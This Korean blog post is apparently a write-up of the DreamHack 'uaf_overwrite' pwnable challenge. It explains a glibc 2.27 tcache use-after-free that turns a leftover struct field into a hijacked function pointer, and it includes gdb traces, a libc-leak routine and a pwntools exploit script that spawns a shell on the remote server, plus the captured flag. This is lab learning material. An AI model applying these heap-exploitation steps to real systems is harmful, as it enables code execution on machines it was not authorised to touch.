[🥈 Silver 3] age가 fptr로 부활한다 — DreamHack uaf_overwrite 풀이

2026-07-08·1분 읽기·

[🥈 Silver 3] age가 fptr로 부활한다 — DreamHack uaf_overwrite 풀이

Human 구조체와 Robot 구조체가 우연히 크기가 같아 같은 tcache(0x30) bin을 공유한다. glibc 2.27의 tcache는 free() 시 청크 맨 앞(next 포인터)만 덮어쓰고 나머지는 그대로 두기 때문에, 자유로워진 Human의 age 필드가 재할당된 Robot의 함수 포인터(fptr) 자리에 그대로 되살아난다. 일반 one_gadget은 스택 정렬 문제로 전부 실패해서, execve 시스템콜 클러스터의 진입점을 직접 찾아 우회했다. gdb로 age가 fptr로 부활하는 순간을 런타임에서 직접 확인하고, unsorted bin 유출도 /proc의 실제 libc 베이스와 대조해 검증했다.

문제: DreamHack — uaf_overwrite 분류: Pwnable 난이도: 🥈 Silver 3 FLAG: DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}

문제 설명은 짧고 정직하다. "Exploit Tech: Use After Free에서 실습하는 문제입니다." DreamHack의 Exploit Tech 강의 계열 실습 문제로, 힙 익스플로잇의 기초 기법인 UAF(Use-After-Free)를 다룬다. 두 구조체가 우연히 같은 크기라는 사실 하나가, free 이후에도 값이 살아남는 필드를 통해 함수 포인터 하이재킹으로 이어진다.

uaf_overwrite 문제 페이지 — "Exploit Tech: Use After Free에서 실습하는 문제입니다"
uaf_overwrite 문제 페이지 — "Exploit Tech: Use After Free에서 실습하는 문제입니다"

문제 개요

항목내용
문제명uaf_overwrite
난이도🥈 Silver 3
분류Pwnable
제공64비트 ELF + 소스 + libc-2.27.so + 원격 서버
핵심 취약점Human/Robot 구조체가 tcache(0x30)를 공유 → UAF로 함수 포인터 하이재킹

보호기법부터 확인한다.

pwn checksec uaf_local
checksec — Full RELRO, Canary, NX, PIE 전부 켜져 있다
checksec — Full RELRO, Canary, NX, PIE 전부 켜져 있다

Full RELRO, 카나리, NX, PIE 전부 켜져 있다. 스택 오버플로우나 GOT 덮어쓰기 같은 흔한 길이 전부 막혀 있다는 뜻이고, 이 문제가 노리는 건 그런 게 아니라는 신호이기도 하다.



🔬 코드 정찰 — 우연히 크기가 같은 두 구조체

sed -n '8,25p' uaf_overwrite.c
구조체 정의 — Human과 Robot 둘 다 정확히 0x20바이트, age와 fptr가 같은 오프셋(+0x18)에 위치
구조체 정의 — Human과 Robot 둘 다 정확히 0x20바이트, age와 fptr가 같은 오프셋(+0x18)에 위치
struct Human {
  char name[16];
  int weight;
  long age;         // +0x18
};
 
struct Robot {
  char name[16];
  int weight;
  void (*fptr)();    // +0x18  <- age와 정확히 같은 오프셋
};

char name[16] + int weight(4바이트, 패딩 포함 8바이트로 정렬) + 8바이트 필드 하나. 두 구조체 다 정확히 0x20(32바이트)이다. 이게 이 문제 전체의 출발점이다 — glibc의 tcache는 청크를 크기별로 여러 개의 bin에 나눠 관리하는데, malloc(0x20)이 요청하는 실제 청크 크기(헤더 포함)는 0x30이라 Human과 Robot이 정확히 같은 tcache bin을 공유한다.

메뉴 로직도 확인했다.

sed -n '27,65p' uaf_overwrite.c
human_func/robot_func/menu 전체 — human_func는 age를 받고 즉시 free, robot_func은 fptr이 있으면 그대로 호출한다
human_func/robot_func/menu 전체 — human_func는 age를 받고 즉시 free, robot_func은 fptr이 있으면 그대로 호출한다

human_func()는 age를 입력받은 즉시 free(human)을 호출한다. robot_func()는 malloc으로 robot을 새로 받은 뒤, robot->fptr이 이미 0이 아니면 그 값을 그대로 함수처럼 호출하고, 0이면 print_name으로 초기화한다. 즉 malloc()이 방금 free()한 Human 청크를 그대로 재사용해서 Robot에게 준다면, 초기화되지 않은 fptr 자리에는 Human이 남기고 간 값이 그대로 들어있을 거라는 가설이 선다.

추가로 custom_func()는 size >= 0x100일 때만 동작하는 별도의 힙 조작 창구다 — 큰 청크를 자유롭게 malloc/free할 수 있어서, 나중에 살펴볼 libc 주소 유출에 쓰인다.


💣 핵심 — free()가 안 건드리는 자리에 값이 남는다

glibc 2.27의 tcache는 청크를 free할 때 청크 맨 앞(+0x00)에 다음 빈 청크를 가리키는 next 포인터 하나만 써넣는다. 그 뒤(+0x08부터)는 전혀 건드리지 않는다. Human의 age는 +0x18에 있으니, free(human) 이후에도 age 값은 메모리에 고스란히 남아있다.

이게 정말인지 gdb로 직접 확인했다. free(human) 직후와, 그 자리를 재사용해 robot이 할당된 직후 두 지점에 브레이크포인트를 걸었다.

# uaf_proof.gdb
break *human_func+0x97      # free(human) 직후
break *robot_func+0x78      # malloc()으로 robot 받은 직후
run < uaf_proof_input.txt   # Human 생성(age=0xcafebabe) → Robot 생성
gdb 런타임 확인 — free(human) 직후 age=0xcafebabe가 남아있고, malloc()이 같은 주소를 robot에게 재할당하며 fptr 자리에 그 값이 그대로 나타난다
gdb 런타임 확인 — free(human) 직후 age=0xcafebabe가 남아있고, malloc()이 같은 주소를 robot에게 재할당하며 fptr 자리에 그 값이 그대로 나타난다

age를 표식값 0xcafebabe로 채운 Human을 만들고 free하자마자 확인해보면, [human+0x00](next)은 0으로 바뀌었지만 [human+0x18](age)은 0xcafebabe 그대로다. 이어서 Robot을 생성하면 malloc이 정확히 같은 주소(0x555555606260)를 돌려주고, robot->fptr(역시 +0x18)이 곧바로 0xcafebabe로 나타난다 — 바로 다음 줄에서 robot->fptr()이 호출되니, 이 값을 우리가 원하는 주소로 채워두면 그 주소로 실행 흐름이 넘어간다.

Human을 free하고 Robot으로 재할당하면, age(+0x18)가 fptr(+0x18) 자리에 그대로 부활해 robot->fptr() 호출 시 그 값으로 점프한다
Human을 free하고 Robot으로 재할당하면, age(+0x18)가 fptr(+0x18) 자리에 그대로 부활해 robot->fptr() 호출 시 그 값으로 점프한다


🧱 배경 — 임의 주소 호출을 셸로 바꾸려면 libc 주소가 필요하다

PIE와 함께 라이브러리도 매번 다른 주소에 로드되므로(ASLR), robot->fptr에 넣을 목표 주소(예: system 이나 execve를 부르는 가젯)를 구하려면 먼저 이번 실행에서 libc가 어디에 로드됐는지부터 알아야 한다. 이 문제는 custom_func()의 힙 조작으로 그 주소를 흘려낸다.

0x500바이트짜리 청크는 tcache(최대 0x410)보다 커서 free하면 unsorted bin에 들어간다. unsorted bin에 놓인 청크는 앞뒤 포인터(fd/bk)가 main_arena 내부(즉 libc 안)를 가리키도록 채워지는데, 이 청크를 다시 malloc으로 돌려받아 내용을 출력하면 그 포인터 값이 그대로 새어나온다.

custom(p, 0x500, b'A', 9)   # custom[0] : 나중에 free할 청크
custom(p, 0x500, b'B', 0)   # custom[1] : 가드용, 이어서 custom[0]을 free -> unsorted bin行
# custom[2] : custom[0] 청크를 재사용, 앞부분(fd 포인터)이 그대로 출력됨

read()로 딱 1바이트('B')만 채워 넣으면 fd 포인터의 최하위 1바이트만 덮이고 나머지 7바이트는 살아남아, printf("Data: %s\n", ...) 출력에서 그대로 읽힌다.


🎯 libc 유출 검증 — 진짜 libc_base와 대조

계산으로 뽑은 libc_base가 우연이 아니라 진짜인지, 로컬 프로세스라면 /proc/<pid>/maps가 알려주는 실제 로드 주소와 직접 대조할 수 있다.

# probe_leak.py (핵심)
leak = ...                          # unsorted bin의 fd 포인터에서 유출한 값
libc_base = None
for path, base in p.libs().items():  # pwntools가 /proc/pid/maps를 파싱
    if 'libc-2.27' in path:
        libc_base = base
 
malloc_hook = libc.symbols['__malloc_hook']
main_arena = malloc_hook + 0x10
for name, off in [("main_arena+0x58", ...), ("main_arena+0x60", ...), ("main_arena+0x50", ...)]:
    if (libc_base + off) 의 상위 바이트들이 leak과 일치:
        print("MATCH")
확률적 대조가 아니라 실측 검증 — pwntools가 /proc/pid/maps에서 읽은 진짜 libc_base와, unsorted bin에서 유출한 값이 정확히 main_arena+0x58/0x60/0x50에서 일치한다
확률적 대조가 아니라 실측 검증 — pwntools가 /proc/pid/maps에서 읽은 진짜 libc_base와, unsorted bin에서 유출한 값이 정확히 main_arena+0x58/0x60/0x50에서 일치한다

유출값의 상위 바이트들이 main_arena+0x58, +0x60, +0x50(1바이트를 덮어써서 하위 바이트만 불확실한 후보 세 개) 전부 /proc이 알려주는 실제 libc_base와 정확히 일치한다. 계산이 맞다는 걸 추측이 아니라 커널이 관리하는 진짜 메모리 맵으로 확인한 셈이다.



🐛 삽질 — 평범한 one_gadget이 전부 크래시났다

libc 주소를 알았으니 이제 system("/bin/sh")나 execve(...)를 한 방에 불러주는 one_gadget 도구의 결과 중 하나를 robot->fptr에 넣으면 끝일 줄 알았다. 그런데 흔히 쓰는 오프셋(0x10a38c 등)을 넣었더니 셸이 뜨긴커녕 그 자리에서 바로 죽었다. 실제로 gdb를 프로세스에 붙여서 크래시 순간을 잡아봤다.

# probe_crash.py (핵심)
og = libc_base + 0x10a38c
human(p, 0, og)               # age = one_gadget 주소
p.sendlineafter(b'> ', b'2')  # robot_func 진입, fptr() 호출 직전
# gdb를 프로세스에 attach해 SIGSEGV 순간의 rip/rsp/명령어를 확인
one_gadget 크래시 분석 — rip가 정확히 gadget 주소에 도달했지만 SIGSEGV, rsp 정렬이 0x8(16바이트 정렬이 아님)이라 gadget 내부의 전제조건이 깨진다
one_gadget 크래시 분석 — rip가 정확히 gadget 주소에 도달했지만 SIGSEGV, rsp 정렬이 0x8(16바이트 정렬이 아님)이라 gadget 내부의 전제조건이 깨진다

rip는 정확히 one_gadget 주소(libc_base+0x10a38c)에 도달했다 — 즉 임의 주소 호출 자체는 성공했다는 뜻이다. 그런데 rsp 정렬이 0x8이다. robot->fptr()은 call이 아니라 함수 포인터를 직접 실행하는 형태라 반환 주소가 스택에 안 쌓이거나 쌓이는 방식이 일반적인 함수 호출과 미묘하게 다르고, 그 결과 one_gadget이 내부적으로 기대하는 "이 오프셋의 스택 슬롯이 NULL이어야 한다"는 전제조건이 깨진다. 명령어를 디스어셈블해보면 outsl, int1, ljmp (bad)처럼 애초에 유효한 코드가 아닌 곳에 떨어져 있다 — one_gadget 자체는 맞는 주소였지만, 그 지점에 진입하기 위한 레지스터·스택 조건을 이 호출 경로가 만족시키지 못한 것이다.

우회책은 system이나 완전한 one_gadget이 아니라, execve 시스템콜을 부르는 코드 조각의 진입점(libc+0xe5489)을 직접 찾는 것이었다. 이 지점은 rbx(envp)와 r14(argv[1])가 둘 다 0이기만 하면 argv = {"/bin/sh", NULL}을 구성해 execve를 호출한다. robot->fptr() 호출 직전 시점에 이 두 레지스터가 마침 0이었기 때문에, 조건이 훨씬 느슨한 이 진입점이 통했다.


🚀 Full Exploit

전체 흐름: unsorted bin으로 libc 유출 → age = libc_base + execve_gadget로 Human 생성·free → Robot 생성으로 같은 청크 재사용, fptr() 호출 시 execve 발동.

# solve.py (핵심)
EXECVE_GADGET = 0x0e5489
MAIN_ARENA_TOP = 0x3ebc00
 
def leak_libc(p):
    custom(p, 0x500, b'A', 9)
    custom(p, 0x500, b'B', 0)
    p.sendlineafter(b'> ', b'3'); p.sendlineafter(b'Size: ', b'1280')
    p.recvuntil(b'Data: '); p.send(b'B'); p.recvuntil(b'Data: ')
    leak = u64(p.recvline().strip().ljust(8, b'\x00'))
    p.sendlineafter(b'Free idx: ', b'9')
    return leak, (leak & ~0xff) - MAIN_ARENA_TOP
 
p = remote(HOST, PORT)
leak, libc_base = leak_libc(p)
gadget = libc_base + EXECVE_GADGET
human(p, 0, gadget)            # free된 Human의 age = gadget
p.sendlineafter(b'> ', b'2')   # robot_func -> 같은 청크 재사용
p.sendlineafter(b'Weight: ', b'0')  # fptr() 호출 -> execve("/bin/sh")

로컬 바이너리(제공된 libc-2.27.so + ld-2.27.so 조합)로 먼저 검증했다.

로컬 실행 — unsorted bin 유출부터 execve 가젯 계산까지, id로 셸 획득 확인
로컬 실행 — unsorted bin 유출부터 execve 가젯 계산까지, id로 셸 획득 확인

id 명령으로 정말 셸을 잡았다는 게 확인되면, 같은 코드를 라이브 서버로 그대로 돌린다.

원격 서버 실행 — 라이브 unsorted bin 유출 + execve 가젯으로 실제 flag 획득
원격 서버 실행 — 라이브 unsorted bin 유출 + execve 가젯으로 실제 flag 획득

FLAG: DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}


📝 결론

메모리 재사용은 값을 초기화해주지 않는다. free()는 "이 메모리를 다시 써도 된다"는 표시만 남길 뿐, 내용을 지우지 않는다(성능을 위해 최소한의 필드만 건드린다). 새로 할당받은 메모리를 원하는 타입으로 캐스팅해서 쓰기 전에, 그 필드들이 정말 초기화됐는지 검증하지 않으면 이전 소유자가 남긴 값이 그대로 새어 들어온다. 이 문제에서는 그게 함수 포인터였다는 게 치명적이었다.

서로 무관해 보이는 두 타입도 크기가 같으면 메모리를 공유할 수 있다. Human과 Robot은 코드상 아무 관계가 없지만, 힙 할당자 입장에서는 "0x20짜리 청크"라는 점에서 완전히 동일하다. 힙 익스플로잇에서 "이 두 malloc이 같은 bin에 들어가는가"를 먼저 확인하는 습관이 왜 중요한지 이 문제가 정확히 보여준다.

표준 도구의 결과도 호출 경로에 따라 안 통할 수 있다. one_gadget은 보통 call이나 jmp로 진입하는 표준적인 상황을 가정한다. 함수 포인터를 직접 실행하는 것처럼 스택/레지스터 상태가 조금 다른 경로라면, 표준 one_gadget 후보가 전부 실패할 수 있다 — 이럴 때는 크래시 지점을 gdb로 직접 들여다보고, system이나 완전한 gadget보다 조건이 느슨한 다른 코드 조각(이번처럼 시스템콜 진입점)을 찾는 게 현실적인 우회책이 된다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 3] Full RELRO·카나리·CET가 다 켜져 있어도 상관없었다 — DreamHack pwn-library 풀이
blog

[🥈 Silver 3] Full RELRO·카나리·CET가 다 켜져 있어도 상관없었다 — DreamHack pwn-library 풀이

checksec을 돌리면 RELRO, 카나리, NX, PIE에 SHSTK·IBT(Intel CET)까지 전부 켜져 있다. ROP도, 카나리 우회도, 컨트롤플로우 하이재킹도 전부 무의미한 방어벽이다. 그런데 취약점은 그 어느 것과도 상관없는 곳에 있었다 — 책을 반납하는 함수가 배열 인덱스를 줄이지 않고 포인터도 지우지 않은 채로 free()만 호출한다. 이 댕글링 포인터를 독립된 malloc 호출 하나가 tcache에서 그대로 주워가면서, "이미 반납한 책"과 "방금 훔친 새 책"이 메모리 상에서 완전히 같은 주소를 가리키게 된다. 리크도, ROP도 없이 순수한 포인터 앨리어싱만으로 로컬 파일을 통째로 읽어냈다.
#dreamhack#ctf#pwnable+4
2026-07-20#dreamhack +5
[🥇 Gold 4] free 하고 포인터를 안 지웠다 — DreamHack Tcache Poisoning 풀이
blog

[🥇 Gold 4] free 하고 포인터를 안 지웠다 — DreamHack Tcache Poisoning 풀이

메뉴 네 개짜리 힙 문제. free() 뒤에도 전역 포인터를 그대로 두는 바람에 해제된 tcache 청크의 fd 를 마음대로 읽고 쓸 수 있다. no-PIE 라 주소가 고정인 &stdout 를 할당해 libc 를 흘리고, 같은 수법으로 __free_hook 에 system 을 얹어 "/bin/sh" 를 free 하면 셸이 뜬다. glibc 2.27 이라 double-free 검사도 없다.
#dreamhack#ctf#pwnable+5
2026-07-11#dreamhack +5
[🥈 Silver 1] 같은 청크를 두 번 free — DreamHack tcache_dup 풀이
blog

[🥈 Silver 1] 같은 청크를 두 번 free — DreamHack tcache_dup 풀이

free() 하고 전역 포인터를 안 지우는 데다 glibc 2.27 이라 double-free 검사도 없다. 같은 청크를 두 번 해제하면 tcache 리스트가 자기 자신을 가리키는 루프가 되고, 이걸 이용해 다음 할당의 fd 를 free@GOT 로 조작한다. no-PIE·Partial RELRO 라 leak 없이 free@GOT 에 get_shell 을 얹고 free 를 부르면 셸이 뜬다.
#dreamhack#ctf#pwnable+5
2026-07-11#dreamhack +4